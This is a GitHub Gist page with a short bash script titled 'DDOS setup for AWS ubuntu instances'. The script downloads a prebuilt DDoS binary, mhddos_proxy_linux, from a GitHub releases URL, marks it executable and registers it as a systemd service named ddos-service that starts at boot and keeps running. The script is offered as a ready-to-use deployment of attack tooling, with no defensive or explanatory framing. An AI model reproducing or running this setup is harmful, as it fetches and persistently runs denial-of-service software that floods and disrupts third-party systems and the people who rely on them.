Skip to content

Instantly share code, notes, and snippets.

@Dimezis
Created July 22, 2022 22:05
Show Gist options
  • Save Dimezis/d56d090025e0ef760773098ba95674b1 to your computer and use it in GitHub Desktop.
Save Dimezis/d56d090025e0ef760773098ba95674b1 to your computer and use it in GitHub Desktop.
DDOS setup for AWS ubuntu instances
#!/bin/bash
sudo apt update -y
sudo apt install --upgrade wget screen -y
cd /home/ubuntu
wget https://github.com/porthole-ascend-cinnamon/mhddos_proxy_releases/releases/latest/download/mhddos_proxy_linux
chmod +x mhddos_proxy_linux
echo '[Unit]
Description=ddos service
[Service]
ExecStart=/home/ubuntu/mhddos_proxy_linux
[Install]
WantedBy=multi-user.target' | sudo tee /etc/systemd/system/ddos-service.service
sudo systemctl enable ddos-service
sudo systemctl start ddos-service
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment